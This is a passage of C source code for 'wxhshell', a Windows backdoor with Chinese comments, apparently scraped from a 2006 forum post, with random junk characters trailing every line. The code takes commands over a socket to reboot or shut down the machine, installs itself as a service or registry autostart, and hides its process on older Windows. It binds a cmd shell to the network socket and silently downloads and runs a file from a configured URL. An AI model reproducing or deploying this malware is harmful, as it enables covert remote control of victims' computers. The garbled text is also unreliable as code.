      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M)Z!W3  
    break; *WFd[cKE  
  } L`w r~E2u  
  // 安装 Br{(sL0e  
  case 'i': { L8Z@Dk7Y  
    if(Install()) IGly x'\_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y" rODk1  
    else jT F "  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nZ#u#V  
    break; tGbx/$Y   
    } voTP,R[}85  
  // 卸载 [f[Wz{Q#Y  
  case 'r': { M"qS#*{  
    if(Uninstall()) Fq o h!F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gxxz4    
    else }*C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^-|~c`&}B  
    break; ^|hVFM2  
    } SkCux  
  // 显示 wxhshell 所在路径 pp7 $Q>6  
  case 'p': { [ gZR}E  
    char svExeFile[MAX_PATH]; &#gh :5  
    strcpy(svExeFile,"\n\r"); JR&yaOws  
      strcat(svExeFile,ExeFile); 5v`lCu]  
        send(wsh,svExeFile,strlen(svExeFile),0); ~Je40vO[  
    break; .Y8P6_  
    } yx*<c#Uf  
  // 重启 S;D]ym  
  case 'b': { bGy|T*@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @de0)AJG6  
    if(Boot(REBOOT)) 9 HlWoHuC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a'n17d&  
    else { @0NWc c+  
    closesocket(wsh); 9Nx%Sdu  
    ExitThread(0); ]w$cqUhM  
    } 4sBvW  
    break; E $W0HZ'  
    } .)p%|A#^  
  // 关机 -AolW+Y  
  case 'd': { ~t$ng l$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {{>,c}O /  
    if(Boot(SHUTDOWN)) /eXiWasQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WSv%Rxr8L  
    else { $;~YgOVZ5  
    closesocket(wsh); F;kKn:XL  
    ExitThread(0); )`ixT)   
    } C@zG(?X  
    break; N^PkSf[)h5  
    } :O,r3O6  
  // 获取shell CF\wR;6k  
  case 's': { ;_|4c7  
    CmdShell(wsh); 6U$e;cr6  
    closesocket(wsh); U}k@%m,  
    ExitThread(0); 7sWe32  
    break; |-S+x]9  
  } 'O.f}m SS  
  // 退出 | WTWj  
  case 'x': { .jC5 y&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); kt\,$.v8  
    CloseIt(wsh); EA9.?F  
    break; Oo FMOlb.Z  
    } T}29(xz-(h  
  // 离开 ?E}gm>  
  case 'q': { )UTjP/\gN  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ht/#d6cQ  
    closesocket(wsh); _Ex<VF u  
    WSACleanup(); #a2Z.a<V  
    exit(1); 3hje  
    break; ?,+&NX3m  
        } 'jO8C2Th%  
  } ka ;=%*7T  
  } #n15_cd  
q8;MPXSG3  
  // 提示信息 4`fV_H.8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k'PvQl"I  
} a^E>LJL  
  } Sl'$w4s   
;T8(byH ?  
  return; S#HeOPRL  
} @'GPZpbvZ  
F?6Q(mRl  
// shell模块句柄 (NDC9Lls  
int CmdShell(SOCKET sock) fkImX:|q  
{ h x8pg,X  
STARTUPINFO si; Tp.]{*  
ZeroMemory(&si,sizeof(si)); e>.^RtDF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ja/wI'J<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; eH!V%dX  
PROCESS_INFORMATION ProcessInfo; {D :WXvI  
char cmdline[]="cmd"; iQT0%WaHl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }~ N\A  
  return 0; Ea'jAIFPpO  
} \/gf_R_GN  
bb\XZ~)F  
// 自身启动模式 3 |LRb/|  
int StartFromService(void) :D;pDl  
{ q #7Nk)<.  
typedef struct f\Hw Y)^>  
{ :A:7^jrhi  
  DWORD ExitStatus; ,O:p`"3`0=  
  DWORD PebBaseAddress; in,0(I&I  
  DWORD AffinityMask; )'e1@CR  
  DWORD BasePriority; O@W/s!&lFa  
  ULONG UniqueProcessId; ZWzr8oY)  
  ULONG InheritedFromUniqueProcessId; yV(9@lj3;  
}   PROCESS_BASIC_INFORMATION; -"a(<JC^NI  
+ ZiYl[_|  
PROCNTQSIP NtQueryInformationProcess; m .(\u?J  
1OMaY5F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N#)Klq87z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z(t O]tQE  
0aI@m  
  HANDLE             hProcess; <Kr`R+Q$DN  
  PROCESS_BASIC_INFORMATION pbi; ADB)-!$xoi  
O;McPw<&\:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2@pEiq3  
  if(NULL == hInst ) return 0; "x HK*  
M5dEZ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -MsL>F.]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FwHqID_!:l  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "lC>_A  
"Ms{c=XPK  
  if (!NtQueryInformationProcess) return 0; ?u".*!%  
f8qDmk5s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D+! S\~u  
  if(!hProcess) return 0; |8[!`T*s  
2J$vX(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BhbfPQ  
Nge@8  
  CloseHandle(hProcess); &+ PVY>q  
%H&WihQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =_g#I  
if(hProcess==NULL) return 0; i ps)-1  
p[At0Gc L  
HMODULE hMod; V EsM  
char procName[255]; t l7:L>  
unsigned long cbNeeded; ^;( dF<?'r  
4b`Fi@J\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "AKr;|m  
\v<S:cTf  
  CloseHandle(hProcess); i^Jw`eAmT  
P O0Od z  
if(strstr(procName,"services")) return 1; // 以服务启动 m$(OQ,E  
Mw-L?j0o[k  
  return 0; // 注册表启动 M.Tp)ig\#  
} ?[>Y@we  
-'d`(G"  
// 主模块 +%Kk zdS'  
int StartWxhshell(LPSTR lpCmdLine) #Z `Tk)u/  
{ omy3<6  
  SOCKET wsl; iyr8*L\  
BOOL val=TRUE; 99By.+~pX  
  int port=0; O0`ofFN  
  struct sockaddr_in door; /38I (0  
77aUuP7Iw  
  if(wscfg.ws_autoins) Install(); n_LK8  
z[R dM#L  
port=atoi(lpCmdLine); ZU.E}Rn:  
Bz>f  
if(port<=0) port=wscfg.ws_port; qvGm JN0  
COw!a\Jl  
  WSADATA data; 0Bkz)4R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Cc`-34/%  
a MFUj+^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   tQUKw@@Q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); upZc~k!1\  
  door.sin_family = AF_INET; #*"V'dj;e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <&O*' <6C  
  door.sin_port = htons(port); a|4D6yUw|  
O\Z!7UQ$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { L>E{~yh  
closesocket(wsl); eLXL5&}`fh  
return 1; oTXIs4+G  
} kjdIk9 Y  
1tiOf~)  
  if(listen(wsl,2) == INVALID_SOCKET) { w\N\J^5,Q  
closesocket(wsl); v''J@F7  
return 1; {YrA [9  
} c'Ibgfx%m  
  Wxhshell(wsl); oAB:H \  
  WSACleanup(); `nEqw/I  
f O+lD  
return 0; ?Ov~\[) F  
AS~!YR  
} %{:pBt:Z  
h <$%y(lP  
// 以NT服务方式启动 :7obxW1X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =ONM#DxH  
{ QXL .4r%  
DWORD   status = 0;  ggM~Chr  
  DWORD   specificError = 0xfffffff; h4hp5M  
S*J\YcqSC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S>*i\OnI'  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o]qwN:8^  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3W#E$^G_v  
  serviceStatus.dwWin32ExitCode     = 0; @.}Y'`9L  
  serviceStatus.dwServiceSpecificExitCode = 0; es%py~m)  
  serviceStatus.dwCheckPoint       = 0; .v'`TD).6  
  serviceStatus.dwWaitHint       = 0; 3c wBPqH  
:5T=y @  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bXXX-Xc  
  if (hServiceStatusHandle==0) return; gYk5}E-  
;YMg 4Cs  
status = GetLastError(); R;A8y  
  if (status!=NO_ERROR) ?P>4H0@I+  
{ u#^l9/tl  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iPWr-  
    serviceStatus.dwCheckPoint       = 0; ,mi7WW9  
    serviceStatus.dwWaitHint       = 0; Mk973 'K'  
    serviceStatus.dwWin32ExitCode     = status; 9h)8Mq+M  
    serviceStatus.dwServiceSpecificExitCode = specificError; :~srl)|)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *HGhm04F{  
    return; v+79#qWK|n  
  } c9CFGo?)N  
.;ofRx<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o.Y6(o  
  serviceStatus.dwCheckPoint       = 0; CH| cK8q  
  serviceStatus.dwWaitHint       = 0; 5M5vxJ)Lh  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |/%5~=%7  
} y3QS! 3I  
!io1~GpKS  
// 处理NT服务事件,比如:启动、停止 ;C:|m7|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 59W~bWHCP  
{ t# y,9>6  
switch(fdwControl) HyKA+ 7}  
{ 1n7'\esC*  
case SERVICE_CONTROL_STOP: $G }9iV7  
  serviceStatus.dwWin32ExitCode = 0; h#Z,ud_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P2C>IS  
  serviceStatus.dwCheckPoint   = 0; P{_%p<:V  
  serviceStatus.dwWaitHint     = 0; M3F1O6=4j  
  { K[/L!.Ag  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E.ji;5  
  } &N6[*7  
  return; /]-yZ0hX0O  
case SERVICE_CONTROL_PAUSE: :Mh\;e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;PU'"MeB "  
  break; _FcTY5."S  
case SERVICE_CONTROL_CONTINUE: UHU ,zgM  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZUS5z+o  
  break; .7LQ l ?  
case SERVICE_CONTROL_INTERROGATE: d]^m^  
  break; _~C1M&b(X3  
}; *!*%~h8V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XE2rx2k  
} .oTS7rYw  
e"bzZ!c&~V  
// 标准应用程序主函数 L$ sENOm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ) )FLM^dj  
{ &ynAB)  
y0&vsoT  
// 获取操作系统版本 l`A&LQ[  
OsIsNt=GetOsVer(); 4E2/?3D  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |mbD q\U  
 &.s.g\  
  // 从命令行安装 3T,[  
  if(strpbrk(lpCmdLine,"iI")) Install(); a8ouk7 G  
6oZHSjC*  
  // 下载执行文件 ]o0]i<:  
if(wscfg.ws_downexe) { WvfM.D!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) g"kI1^[nj  
  WinExec(wscfg.ws_filenam,SW_HIDE); UpE +WzY  
} }' Y)"8AIA  
v'Ehr**]+  
if(!OsIsNt) { 6~2upy~e  
// 如果时win9x,隐藏进程并且设置为注册表启动 C8T0=o/-`  
HideProc(); yZgWFf.X  
StartWxhshell(lpCmdLine); EStui>ho  
} xDH#K0-#L  
else w{k^O7~  
  if(StartFromService()) JsuI&v  
  // 以服务方式启动 +Ss3Ph  
  StartServiceCtrlDispatcher(DispatchTable); /BQqg0 8@L  
else B]()  
  // 普通方式启动 #>,E"-]f  
  StartWxhshell(lpCmdLine); { gs$pBu  
f8N* [by  
return 0; "M /Cl|z  
}
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只看该作者 1 发表于: 2006-10-10
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